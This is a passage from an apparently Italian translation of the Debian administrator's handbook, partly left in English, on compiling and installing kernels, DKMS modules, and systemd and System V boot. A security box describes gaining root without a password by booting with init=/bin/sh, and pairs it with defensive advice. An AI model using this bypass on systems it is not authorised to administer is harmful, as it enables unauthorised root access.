Like anything that can be useful on a Debian system, the Linux kernel sources are available in a package. To retrieve them, just install the linux-source-version package. The apt search ^linux-source command lists the various kernel versions packaged by Debian. The latest version is available in the Unstable distribution: you can retrieve them without much risk (especially if your APT is configured according to the instructions of Sezione 6.2.6, «Lavorare con più distribuzioni»). Note that the source code contained in these packages does not correspond precisely with that published by Linus Torvalds and the kernel developers; like all distributions, Debian applies a number of patches, which might (or might not) find their way into the upstream version of Linux. These modifications include backports of fixes/features/drivers from newer kernel versions, new features not yet (entirely) merged in the upstream Linux tree, and sometimes even Debian specific changes.

The remainder of this section focuses on the 4.19 version of the Linux kernel, but the examples can, of course, be adapted to the particular version of the kernel that you want.

We assume the linux-source-4.19 package has been installed. It contains /usr/src/linux-source-4.19.tar.xz, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under /usr/src/, since there is no need for special permissions to compile a Linux kernel): ~/kernel/ is appropriate.

$ mkdir ~/kernel; cd ~/kernel

$ tar -xaf /usr/src/linux-source-4.19.tar.xz

CULTURA Posizione dei sorgenti del kernel

Traditionally, Linux kernel sources would be placed in /usr/src/linux/ thus requiring root permissions for compilation. However, working with administrator rights should be avoided when not needed. There is a src group that allows members to work in this directory, but working in /usr/src/ should be avoided, nevertheless. By keeping the kernel sources in a personal directory, you get security on all counts: no files in /usr/ unknown to the packaging system, and no risk of misleading programs that read /usr/src/linux when trying to gather information on the used kernel.

8.10.3. Configurare il kernel

I passi successivi consistono nella configurazione del kernel secondo le proprie necessità. La procedura esatta dipende dagli obiettivi.

Quando si ricompila una versione del kernel più recente (eventualmente con patch aggiuntive) la configurazione sarà probabilmente mantenuta più simile possibile a quella proposta da Debian. In questo caso, e piuttosto di riconfigurare tutto da zero, è sufficiente copiare il file /boot/config-versione (la versione è quella del kernel correntemente in uso, che può essere trovato con il comando uname -r) in un file .config nella directory contenente i sorgenti del kernel.

$ cp /boot/config-4.19.0-5-amd64 ~/kernel/linux-source-4.19/.config

Se non si necessita di cambiare la configurazione, è possibile fermarsi qui e saltare alla Sezione 8.10.4, «Compilazione e creazione del pacchetto». Se invece è necessario modificarla, o se si è deciso di riconfigurare tutto da zero, è necessario prendersi del tempo per configurare il kernel. Ci sono varie interfacce dedicate nella directory dei sorgenti del kernel che possono essere richiamate utilizzando il comando make target, dove target sarà uno dei valori descritti di seguito.

make menuconfig compila ed esegue un'interfaccia testuale (ecco perché è richiesto il pacchetto libncurses5-dev) che consente la navigazione tra le opzioni disponibili in una struttura gerarchica. La premendo il tasto Spazio cambia il valore delle opzioni selezionate, ed Invio conferma il bottone selezionato in basso sullo schermo; Select rimanda al sotto-menu selezionato; Exit chiude la finestra corrente e torna indietro alla gerarchia, Help visualizzerà informazioni maggiormente dettagliate sul ruolo dell'opzione selezionata. Le frecce consentono di muoversi tra la lista di opzioni ed i bottoni. Per uscire dal programma di configurazione, scegliere Exit dal menu principale. Il programma offrirà di salvare le modifiche effettuate; accettare se si è soddisfatti delle proprie scelte.

Altre interfacce hanno funzioni simili, ma lavorano con interfacce grafiche più moderne: come make xconfig che usa l'interfaccia grafica Qt, e make gconfig che usa GTK+. La prima richiede libqt4-dev, mentre quest'ultima dipende da libglade2-dev e libgtk2.0-dev.

Quando si utilizza una di queste interfacce di configurazione, è sempre una buona idea partire da una configurazione predefinita ragionevole. Il kernel fornisce tali configurazioni in arch/arch/configs/*_defconfig e si può attivare la configurazione selezionata con un comando come make x86_64_defconfig (in caso di un PC a 64-bit) opuure make i386_defconfig (in caso di un PC a 32-bit).

SUGGERIMENTO Trattare con file obsoleti .config

Quando si fornisce un .config generato con un'altra (di solito più vecchia) versione del kernel, sarà necessario aggiornarlo.E' possibile farlo con make oldconfig, che farà interattivamente le domande corrispondenti alle nuove opzioni di configurazione. Se si desidera utilizzare la risposta predefinita a tutte le domande è possibile utilizzare il comando make olddefconfig. Con make oldnoconfig, si riterranno negative le risposte a tutte le domande.

8.10.4. Compilazione e creazione del pacchetto

NOTA Fare pulizia prima di una nuova compilazione

If you have already compiled once in the directory and wish to rebuild everything from scratch (for example, because you substantially changed the kernel configuration), you will have to run make clean to remove the compiled files. make distclean removes even more generated files, including your .config file too, so make sure to backup it first. If you copied the configuration from /boot/, you must change the system trusted keys option, providing an empty string is enough: CONFIG_SYSTEM_TRUSTED_KEYS = "".

Una volta che la configurazione del kernel è pronta, un semplice make deb-pkg genererà fino a 5 pacchetti Debian: linux-image-versione che contiene l'immagine del kernel e dei moduli associati, linux-headers-versione che contiene i file header necessari per compilare moduli esterni, linux-firmware-image-versione che contiene i file del firmware necessari per alcuni driver ( questo pacchetto potrebbe mancare quando si genera dai sorgenti del kernel forniti da Debian), linux-image-versione-dbg che contiene i simboli di debug per l'immagine del kernel e dei suoi moduli, e linux-libc-dev che contiene gli header realtivi ad alcune librerie come GNU glibc.

La versione è definita dalla concatenazione della versione originaria (come definita dalle variabili VERSION, PATCHLEVEL, SUBLEVEL e EXTRAVERSION in Makefile), del parametro di configurazione LOCALVERSION, e della variabile d'ambiente LOCALVERSION. La versione del pacchetto riutilizza la stessa stringa della versione con aggiunto un numero di revisione che viene incrementato regolarmente (e memorizzata in .version), almeno che non si sovrascrive con la variabile d'ambiente KDEB_PKGVERSION.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1

[...]

$ ls ../*.deb

../linux-headers-4.19.37-falcot_4.19.37-1_amd64.deb

../linux-image-4.19.37-falcot_4.19.37-1_amd64.deb

../linux-libc-dev_4.19.37-1_amd64.deb

8.10.5. Compilare moduli esterni

Some modules are maintained outside of the official Linux kernel. To use them, they must be compiled alongside the matching kernel. A number of common third party modules are provided by Debian in dedicated packages, such as vpb-driver-source (extra modules for Voicetronix telefony hardware) or leds-alix-source (driver of PCEngines ALIX 2/3 boards).

These packages are many and varied, apt-cache rdepends module-assistant$ can show the list provided by Debian. However, a complete list isn't particularly useful since there is no particular reason for compiling external modules except when you know you need it. In such cases, the device's documentation will typically detail the specific module(s) it needs to function under Linux.

For example, let's look at the dahdi-source package: after installation, a .tar.bz2 of the module's sources is stored in /usr/src/. While we could manually extract the tarball and build the module, in practice we prefer to automate all this using DKMS. Most modules offer the required DKMS integration in a package ending with a -dkms suffix. In our case, installing dahdi-dkms is all that is needed to compile the kernel module for the current kernel provided that we have the linux-headers-* package matching the installed kernel. For instance, if you use linux-image-amd64, you would also install linux-headers-amd64.

$ sudo apt install dahdi-dkms

[...]

Setting up xtables-addons-dkms (2.12-0.1) ...

Loading new xtables-addons-2.12 DKMS files...

Building for 4.19.0-5-amd64

Building initial module for 4.19.0-5-amd64

Done.

dahdi_dummy.ko:

Running module version sanity check.

- Original module

- No original module exists within this kernel

- Installation

- Installing to /lib/modules/4.19.0-5-amd64/updates/dkms/

[...]

DKMS: install completed.

$ sudo dkms status

dahdi, DEB_VERSION, 4.19.0-5-amd64, x86_64: installed

$ sudo modinfo dahdi_dummy

filename:       /lib/modules/4.19.0-5-amd64/updates/dkms/dahdi_dummy.ko

license:        GPL v2

author:         Robert Pleh <robert.pleh@hermes.si>

description:    Timing-Only Driver

[...]

ALTERNATIVA module-assistant

Prima di DKMS, module-assistant è stata la soluzione più semplice per creare e distribuire i moduli del kernel. Può essere ancora utilizzata, in particolare per i pacchetti privi di integrazione KDMS: con un semplice comando come module-assistant auto-install dadhi (o, in breve, m-a a-i dahdi), i moduli sono compilati per il kernel corrente e messi in un nuovo pacchetto Debian che viene installato al volo.

8.10.6. Applicare una patch al kernel

Alcune funzionalità non sono incluse nel kernel standard perché non mature o per un mancato accordo tra il manutentore del codice sorgente ed i manutentori del kernel. Alcune funzionalità possono essere distribuite come patch che chiunque può applicare liberamente ai sorgenti del kernel.

Debian sometimes provides some of these patches in linux-patch-* packages, but they often don't make it into stable releases (sometimes for the very same reasons that they are not merged into the official upstream kernel). These packages install files in the /usr/src/kernel-patches/ directory.

Per applicare una o più di queste patch installate utilizzare il comando patch nella directory dei sorgenti, poi avviare la compilazione del kernel come descritto sopra.

$ cd ~/kernel/linux-source-4.9

$ make clean

$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

Notare che una patch potrebbe non funzionare con ogni versione del kernel: è possibile che patch fallisca quando la applica ai sorgenti del kernel. Un messaggio d'errore sarà visualizzato e fornirà alcuni dettagli a proposito del fallimento. In questo caso, si deve far riferimento alla documentazione disponibile nel pacchetto Debian della patch (nella directory /usr/share/doc/linux-patch-*/). In molti casi il manutentore indica per quali versioni del kernel è stata realizzata la patch.

8.11. Installare un kernel

8.11.1. Funzionalità di pacchetto kernel Debian

A Debian kernel package installs the kernel image (vmlinuz-version), its configuration (config-version) and its symbols table (System.map-version) in /boot/. The modules are installed in the /lib/modules/version/ directory.

CULTURE The symbols table

The symbols table helps developers understand the meaning of a kernel error message; without it, kernel “oopses” (an “oops” is the kernel equivalent of a segmentation fault for user-space programs, in other words messages generated following an invalid pointer dereference) only contain numeric memory addresses, which is useless information without the table mapping these addresses to symbols and function names.

Gli script di configurazione del pacchetto generano automaticamente un'immagine initrd, che è un mini-sistema pensato per essere caricato in memoria (da qui il nome, che sta per "init ramdisk") dal bootloader, e utilizzato dal kernel Linux unicamente per caricare i moduli necessari ad accedere ai dispositivi che contengono il sistema Debian completo (per esempio, i driver per i dischi SATA). Alla fine, gli script di post-installazione aggiornano i collegamenti simbolici /vmlinuz, /vmlinuz.old, /initrd.img e /initrd.img.old così che possano puntare, rispettivamente, agli ultimi due kernel installati, così come alle corrispondenti immagini initrd.

La maggior parte di questi task sono scaricati per agganciare script nelle directory /etc/kernel/*.d/. Per esempio, l'integrazione con grub si basa su /etc/kernel/postinst.d/zz-update-grub e /etc/kernel/postrm.d/zz-update-grubper chiamare update-grub quando i kernel sono installati o rimossi.

8.11.2. Installare con dpkg

Using apt is so convenient that it makes it easy to forget about the lower-level tools, but the easiest way of installing a compiled kernel is to use a command such as dpkg -i package.deb, where package.deb is the name of a linux-image package such as linux-image-4.19.37-falcot_1_amd64.deb.

I passi di configurazione descritti in questo capitolo sono base ma funzionano sia per un sistema server sia per una postazione di lavoro e possono essere duplicati massivamente con modalità semi-automatiche. Tuttavia non sono sufficienti per fornire da soli un sistema completamente configurato. Alcune parti necessitano ancora di configurazione, cominciando con i programmi di basso livello conosciuti come «servizi Unix».

Capitolo 9. Servizi Unix

Questo capitolo comprende una serie di servizi di base che sono comuni a molti sistemi Unix. Tutti gli amministratori dovrebbero conoscerli bene.

9.1. Avvio del sistema

Quando si avvia il computer, i molti messaggi che scorrono sulla console visualizzano molte inizializzazioni e configurazioni automatiche che vengono eseguite. Può capitare di voler modificare un po' come funziona questa fase, il che significa che è necessario conoscerla bene. Questo è lo scopo di questa sezione.

In primo luogo, il BIOS prende il controllo del computer, rileva i dischi, carica il Master Boot Record, ed esegue il bootloader. Il bootloader subentra, trova il kernel sul disco, lo carica e lo esegue. Il kernel è quindi inizializzato, e comincia a cercare e montare la partizione contenente il file system root, infine esegue il primo programma — init. Spesso, questa "partizione root" e questo init sono, di fatto, presenti in un filesystem virtuale che esiste solo nella RAM (da qui il suo nome, "initramfs", precedentemente chiamato "initrd" che sta per "disco RAM di inizializzazione"). Questo filesystem è caricato in memoria dal bootloader, spesso da un file su disco rigido o dalla rete. Contiene il minimo indispensabile richiesto dal kernel per caricare il "vero" filesystem root: possono essere moduli driver per l'hard disk, o altri dispositivi senza i quali il sistema non si avvia, o, più frequentemente, gli script di inizializzazione ed i moduli per il montaggio degli array RAID, l'apertura di partizioni cifrate, l'attivazione di volumi LVM, ecc. Una volta che la partizione di root è montata, initramfs passa il controllo all'init reale, e la macchina torna al processo di avvio standard.

9.1.1. Il sistema di init systemd

Il "vero init" è attualmente fornito da systemd e questa sezione documenta questo sistema di init.

CULTURA Prima di systemd

systemd è un "sistema di init" relativamente recente, ed anche se era già disponibile, in una certa misura, in Wheezy, è diventato il predefinito solo in Debian Jessie. Le precedenti versioni facevano affidamento, per impostazione predefina, su “System V init” (nel pacchetto sysv-rc), un sistema molto più tradizionale. Descriveremo il System V init in seguito.

ALTERNATIVA Altri sistemi di avvio

Questo libro descrive il sistema di avvio usato in modo predefinito in Debian Buster (come implementato dal pacchetto systemd), come il sistema di default precedente, sysvinit, che è derivato ed ereditato dal System V dei sistemi Unix; ma ce ne sono altri.

file-rc è un sistema di avvio con un procedimento molto semplice. Mantiene il principio dei runlevel, ma sostituisce le directory e i collegamenti simbolici con un file di configurazione, che indica a init i processi che devono essere avviati e il loro ordine di lancio.

Il sistema upstart non è ancora perfettamente testato su Debian. È basato su eventi: gli script di init non vengono più eseguiti in un ordine sequenziale, ma in risposta a eventi come il completamento di un altro script da cui essi dipendono. Questo sistema, inizialmente sviluppato per Ubuntu, era presente in Debian Jessie, ma non era il predefinito; veniva fornito, di fatto, in sostituzione di sysvinit, e uno dei compiti avviati da upstart era quello di avviare gli script scritti per i sistemi tradizionali, in particolare quelli del pacchetto sysv-rc.

Esistono anche altri sistemi e modalità operative, come runit o minit, ma sono relativamente specializzati e non molto diffusi.

Figura 9.1. Sequenza di avvio di un computer Linux con systemd

CASO SPECIFICO Avvio da rete

In alcune configurazioni, il BIOS può essere configurato per non eseguire l'MBR, ma per cercare il suo equivalente in rete, rendendo possibile la costruzione di computer senza un disco rigido, o che sono completamente reinstallati ad ogni avvio. Questa opzione non è disponibile su tutto l'hardware e richiede in genere una combinazione appropriata di BIOS e scheda di rete.

L'avvio da rete può essere utilizzato per lanciare il debian-installer o FAI (vedere la Sezione 4.1, «Modalità di installazione» ).

FONDAMENTALI Il processo, un'istanza di programma

Un processo è la rappresentazione in memoria di un programma in esecuzione. Esso comprende tutte le informazioni necessarie per la corretta esecuzione del software (il codice stesso, ma anche i dati che ha in memoria, l'elenco di file che ha aperto, le connessioni di rete che ha stabilito, ecc.). Un programma unico può essere istanziato in vari processi diversi, non necessariamente in esecuzione con diversi ID utente.

SICUREZZA Usare una shell come init per ottenere i privilegi di root

Per convenzione, il primo processo che viene avviato è il programma init (il quale è per impostazione predefinita un link simbolico a /lib/systemd/systemd). Tuttavia, è possibile passare un'opzione a init per il kernel che indica un programma diverso.

Chiunque è in grado di accedere al computer può premere il pulsante Reset e quindi riavviare. Poi, al prompt del bootloader, è possibile passare l'opzione init=/bin/sh per il kernel per ottenere l'accesso come root senza conoscere la password dell'amministratore.

Per evitare ciò, è possibile proteggere lo stesso bootloader con una password. Si potrebbe anche pensare di proteggere l'accesso al BIOS (un meccanismo di protezione con password è quasi sempre disponibile), senza di ciò un intruso malintenzionato potrebbe ancora avviare la macchina su un supporto rimovibile contenente il proprio sistema Linux, che potrebbe utilizzare per accedere ai dati sull'hard disk del computer.

Infine, fare attenzione al fatto che la maggior parte dei BIOS dispone di una password generica. Inizialmente destinate alla risoluzione di problemi per coloro che hanno dimenticato la password, queste password sono ora pubbliche e disponibili su Internet (provare a cercare "password generica per BIOS" in un motore di ricerca). Tutte queste protezioni ostacoleranno quindi l'accesso non autorizzato alla macchina senza essere in grado di evitarlo completamente. Non c'è un modo affidabile per proteggere un computer se l'utente malintenzionato può accedervi fisicamente; in ogni caso potrebbe smontare gli hard disk per connetterli a un computer sotto il proprio controllo, o addirittura rubare l'intera macchina, o cancellare la memoria del BIOS per ripristinarne la password…

Systemd esegue diversi processi, responsabili della configurazione del sistema: tastiera, drivers, filesystem, rete, servizi. Lo fa mantenendo una vsione globale del sistema nel suo complesso, ed i requisiti dei componenti. Ciascun componente è descritto da un "file unit" (a volte più); la sintassi generale deriva dalla sintassi ampiamente usata nei "file *.ini", con coppie chiave = valore raggruppate tra le intestazioni [section]. I file unit vengono memorizzati in /lib/systemd/system/ e /etc/systemd/system/; sono disponibili in vari gusti, ma qui ci si concentrerà su "service" e "target".

Un "service file" di systemd descrive un processo gestito da systemd. Contiene più o meno le stesso informazioni degli script-init vecchio stile, ma espresse in modo dichiarativo (e molto più conciso). Systemd gestisce la maggior parte dei compiti ripetitivi (avviare e arrestare il processo, controllare il suo stato, la registrazione, far cadere i privilegi, e così via), ed il service file ha bisogno solo di compilare le specifiche dei processi. Per esempio, questo è un service file per SSH:

[Unit]

Description=OpenBSD Secure Shell server

After=network.target auditd.service

ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]

EnvironmentFile=-/etc/default/ssh

ExecStart=/usr/sbin/sshd -D $SSHD_OPTS

ExecReload=/bin/kill -HUP $MAINPID

KillMode=process

Restart=on-failure

[Install]

WantedBy=multi-user.target

Alias=sshd.service

Come si può vedere, c'è poco codice lì dentro, solo dichiarazioni. Systemd si occupa di visualizzare i report, tenendo tracci dei processi, ed anche riavviandoli quando necessario.

Un "target file" di systemd descrive uno stato del sistema, dove un insieme di servizi sono noti per essere operativi. Può essere pensato come un equivalente del runlevel vecchio-stile. Uno dei target è local-fs.target; quando è raggiunto, il resto del sistema può ritenere tutti i filesystem locali montati ed accessibili. Un'altro target include network-online.target e sound.target. Le dipendenze del target possono essere elencate sia nel file di destinazione (alla riga Requires=), oppure usando un collegamento simbolico al file del servizio nella directory /lib/systemd/system/targetname.target.wants/. Per esempio, /etc/systemd/system/printer.target.wants/ contiene un collegamento a /lib/systemd/system/cups.service; systemd si assicurerà quindi che CUPS sia in esecuzione in modo da raggiungere il target printer.target.

Dal momento che gli unit file sono dichiararativi e non script o programmi, non possono essere eseguiti direttamente, e sono solo interpretati da systemd; diverese utility consentono quindi all'amministratore di interagire con systemd e controllare lo stato del sistema e di ogni componente.

La prima di queste utility è systemctl. Quando viene eseguita senza argomenti, elenca tutti gli unit file noti a systemd (eccetto quelli che sono stati disabilitati), coì come il loro stato. systemctl status dà una migliore visione dei servizi, nonchè dei relativi processi. Se viene passato il nome di un servizio (come in systemctl status ntp.service), restituisce ancora più dettagli, così come le ultime righe dei log relativi al servizio (ne parleremo più avanti).

L'avvio manuale del servizio è una cosa semplice eseguendo systemctl start nomedelservizio.service. Come si può intuire, l'arresto di un servizio è fatto con systemctl stop nomedelservizio.service; altri comandi includono reload e restart.

Per controllare se un servizio è attivo (es. se partirà automaticamente all'avvio), usa systemctl enable nomedelservizio.service (oppure disable). is-enabled permette il controllo dello stato del servizio.

Una caratteristica interessante di systemd è che include un componente di registrazione chiamato journald. Si presenta come un complemento a più sistemi di registrazione tradizionali come syslogd, ma aggiunge delle caratteristiche interessanti come un collegamento formale tra un servizio ed i messaggi che genera, e la capacità di cattuare i messaggi generati dalla sua sequenza di avvio. I messaggi possono essere visualizzati in seguito, con un piccolo aiuto da parte del comando journalctl. Senza argomenti, sputa fuori semplicemente tutti i messaggi di log che si sono verificati dall'avvio del sistema; raramente è usato in questo modo. La maggior parte delle volte sarà utilizzato con un identificatore del servizio:

# journalctl -u ssh.service

-- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. --

Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.

Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22.

Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting.

Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.

Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22.

Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2

Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Un'altro utile flag da riga di comando è -f, che indica a journalctl di mantenere la visualizzazione di nuovi messaggi quando sono emessi (più di quanto faccia tail -f file).

Se un servizio sembra non funzionare come previsto, la prima cosa da fare per risolvere il problema è quella di verifica se il servizio sia effettivamente in esecuzione con systemctl status; se non lo è, ed i messaggi dati dal primo comando non sono sufficienti a diagnosticare il problema, controllare i log raccolti da journald su quel servizio. Ad esempio, si supponga che il server SSH non funzioni:

# systemctl status ssh.service

● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)

Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago

Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)

Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255)

Main PID: 1188 (code=exited, status=255)

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.

Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

# journalctl -u ssh.service

-- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. --

Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.

Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22.

Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting.

Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.

Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22.

Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2

Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.

Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

# vi /etc/ssh/sshd_config

# systemctl start ssh.service

# systemctl status ssh.service

● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)

Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago

Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)

Main PID: 1222 (sshd)

CGroup: /system.slice/ssh.service

└─1222 /usr/sbin/sshd -D

#

Dopo aver controllato lo stato del servizio (fallito), siamo andati a controllare i registri; indicano un errore nel file di configurazione. Dopo aver modificato il file di configurazione e sistemato l'errore, riavviamo il servizio, quindi verifichiamo che sia effettivamente in funzione.

APPROFONDIMENTO Altri tipi di file unit

Abbiamo descritto solo la più fondamentale capacità di systemd in questa sezione. Esso offre molte altre caratteristiche interessanti; qui ne elencheremo solo alcune:

- attivazione socket: un'unità file "socket" può essere usata per descrivere una reteo un socket Unix gestito da systemd; questo significa il socket viene creato da systemd, ed il servizio vero e proprio può essere avviato quando arriva un'effettivo tentativo di connessione. Questo più o meno replica il set di funzionalità di inetd. Vedere systemd.socket(5).

- timer: un'unità file “timer” descriveeventi che si verificano con una frequenza fissa o a tempo; quando un servizio è collegato a tale timer, il compito corrispondernte verrà eseguito ogni volta che scatterà il timer. Questo permette di replicare parte delle caratteristiche del comando cron. Vedere systemd.timer(5).

- rete: un file di "rete" descrive un'interfaccia di rete, che permette di configurare tali interfacce oltre che manifestare che un servizio dipende da un particolare interfaccia.

9.1.2. Il sistema di init System V

Il sistema di init System V (che chiameremo init per brevità) esegue diversi processi, seguendo le istruzione del file /etc/inittab. Il primo programma che viene eseguito (che corrisponde al passo sysinit) è /etc/init.d/rcS, uno script che esegue tutti i programmi contenuti nella directory /etc/rcS.d/.

Tra questi, si trovano successivamente i programmi incaricati di:

- configurare la tastiera della console;

- caricare i driver: la maggior parte dei moduli del kernel vengono caricati dal kernel stesso, al rilevamento dell'hardware, altri driver aggiuntivi vengono caricati in seguito automaticamente se i moduli corrispondenti sono elencati nel file /etc/modules;

- verificare l'integrità dei file system;

- montare partizioni locali;

- configurare la rete;

- montare file system di rete (NFS).

FONDAMENTALI I moduli del kernel e le opzioni

I moduli del kernel hanno anche opzioni che possono essere configurate mettendo alcuni file in /etc/modprobe.d/. Queste opzioni sono definite con direttive come questa: options nome-modulo nome-opzione=valore-opzione. Diverse opzioni possono essere specificate con un'unica direttiva, se necessario.

Questi file di configurazione sono destinati a modprobe: il programma che carica un modulo del kernel con le sue dipendenze (i moduli possono infatti chiamare altri moduli). Questo programma è fornito dal pacchetto kmod.

In seguito a questa fase, subentra init e avvia quei programmi attivati nel runlevel predefinito (che di solito è il runlevel 2). Viene eseguito /etc/init.d/rc 2, uno script che lancia tutti i servizi che sono elencati in /etc/rc2.d/ ed i cui nomi iniziano con la lettera «S». Il numero a due cifre che segue era storicamente utilizzato per definire l'ordine in cui i servizi dovevano essere avviati, ma al giorno d'oggi il sistema di avvio predefinito utilizza insserv, che pianifica tutto automaticamente in base alle dipendenze degli script. Ogni script di avvio dichiara in tal modo le condizioni che devono essere soddisfatte per avviare o arrestare il servizio (per esempio, se si deve avviare prima o dopo un altro servizio); init poi li esegue nell'ordine che soddisfa queste condizioni. La numerazione statica degli script quindi non è più presa in considerazione (ma devono sempre avere un nome che inizia con una «S» seguita da due cifre ed il nome effettivo dello script usato per le dipendenze). In generale, i servizi di base (come la registrazione con rsyslog, o l'assegnazione di porte con portmap) vengono avviati per primi, seguiti dai servizi standard e dall'interfaccia grafica (gdm3).

Questo sistema di avvio basato su dipendenze consente di automatizzare la rinumerazione, che potrebbe risultare piuttosto noiosa se dovesse essere effettuata manualmente, e limita i rischi di errore umano, poiché la pianificazione viene effettuata secondo i parametri indicati. Un altro vantaggio è che i servizi possono essere avviati in parallelo quando sono indipendenti l'uno dall'altro, e quindi è possibile accelerare il processo di avvio.

init distingue tra diversi runlevel, in modo da poter passare da uno all'altro con il comando telinit nuovo-livello. Immediatamente, init esegue ancora una volta /etc/init.d/rc con il nuovo runlevel. Questo script quindi avvia i servizi mancanti e ferma quelli che non sono più desiderati. Per fare ciò, fa riferimento al contenuto di /etc/rcX.d (dove X rappresenta il nuovo runlevel). Gli script che iniziano con «S» (come in «Start») sono i servizi da avviare, quelli che iniziano con «K» (come in «Kill») sono i servizi che devono essere arrestati. Lo script non avvia alcun servizio che era già attivo nel runlevel precedente.

Per impostazione predefinita, System V init in Debian utilizza quattro diversi runlevel:

- Il livello 0 è utilizzato solo temporaneamente, mentre il computer si sta spegnendo. Come tale, esso contiene solo molti script «K».

- Il livello 1, noto anche come modalità utente singolo, corrisponde al sistema in modalità degradata; include solo i servizi basilari, ed è destinato ad operazioni di manutenzione in cui le interazioni con gli utenti ordinari non sono desiderate.

- Il livello 2 è il livello per il normale funzionamento, che include servizi di rete, un'interfaccia utente grafica, accesso utenti, ecc.

- Il livello 6 è simile al livello 0, tranne che è utilizzato durante la fase di arresto che precede un riavvio.

Esistono altri livelli, in particolare da 3 a 5. In modo predefinito sono configurati per operare allo stesso modo del livello 2, ma l'amministratore può modificarli (aggiungendo o eliminando script nella corrispondente directory /etc/rcX.d) per adattarli a particolari esigenze.

Figura 9.2. Sequenza di avvio di un computer Linux con System V init

Tutti gli script contenuti nelle varie directory /etc/rcX.d sono solo collegamenti simbolici, creati con l'installazione del pacchetto per il programma update-rc.d, che puntano agli script reali che vengono memorizzati in /etc/init.d/. L'amministratore può regolare i servizi disponibili in ogni runlevel attraverso il comando update-rc.d con i parametri corretti. La pagina di manuale di update-rc.d(1) descrive la sintassi in dettaglio. Notare che la rimozione di tutti i collegamenti simbolici (con il parametro remove) non è un buon metodo per disabilitare un servizio. Si dovrebbe invece semplicemente configurare quel servizio per non essere lanciato in quel particolare runlevel (pur conservando le chiamate corrispondenti a fermarlo nel caso in cui il servizio viene eseguito nel runlevel precedente). Dal momento che update-rc.d ha un'interfaccia un po' complicata, può essere preferibile usare rcconf (presente nel pacchetto rcconf) che fornisce un'interfaccia più intuitiva.

DEBIAN POLICY Riavvio dei servizi

